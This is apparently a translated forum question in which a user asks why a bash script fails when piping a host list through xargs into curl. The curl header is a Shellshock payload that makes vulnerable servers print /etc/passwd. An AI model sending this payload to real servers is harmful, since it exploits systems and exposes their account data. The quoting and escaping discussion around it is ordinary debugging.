Bash shell脚本,特殊字符和传递参数curl

时间:2015-12-20 13:58:24

标签: bash shell command

我试图从我的脚本中传递一些shell命令来卷曲,但curl中的一个参数使用一个特殊字符,即引号,我试图用反斜杠转义引号,但这给了我另一个错误。

请考虑以下事项:

`cat $list | xargs curl -H \"custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd | printf %b \n`

当执行此操作时,我收到以下错误消息。

$myscript.sh: command substitution: line 32: syntax error near     unexpected token `('
$myscript.sh: command substitution: line 32: `cat $list | xargs curl -H \"custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd | printf %b \n 

当我从我的bash shelll运行此命令时,它会毫无问题地执行。

curl -H \"custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd

如果我手动提供主机,您可以在我的脚本中告诉$list var将提供要测试的主机列表。

也;

我搜索了命令替换错误,但似乎无法找到它在我的情况下是如何相关的,坦率地说,我对bash很新,所以这可能是问题的一部分。

非常感谢任何帮助,提前谢谢。

编辑:好的,我一直在研究这个问题,并试图逃避所有特殊字符。新代码:

`cat $list | xargs curl -H \"custom:\(\) \{ ignored; \}\; echo Content-Type: text/html\; echo \; /bin/cat /etc/passwd | printf %b \n`

现在运行我的脚本curl后输出以下内容。

  

curl:(3)[globbing]位于pos 2的无与伦比的大括号

     

%收到的总百分比%Xferd平均速度时间时间当前时间                                    Dload上载总左转速度     0 0 0 0 0 0 0 0 - : - : - 0:00:01 - : - : -

     

0curl:(6)无法解析主机:忽略   100 12037 0 12037 0 0 10421 0 - : - : - 0:00:01 - : - : - 19254   100 5722 0 5722 0 0 6113 0 - : - : - - : - : - - : - : - 8341

Could not resolve host: ignored让我相信curl正在尝试解析名为“ignored”的主机,这很奇怪,因为它应该将$list var的内容通过xargs传递给curl和$list包含主机列表。

除此之外,我收到一条新的错误消息

myscript.sh: line 32: };: command not found myscript.sh: line 32: <!DOCTYPE: command not found

我基本上不知所措,如果你们认为有帮助,我愿意发布整个剧本。

谢谢你们。

0 个答案:

没有答案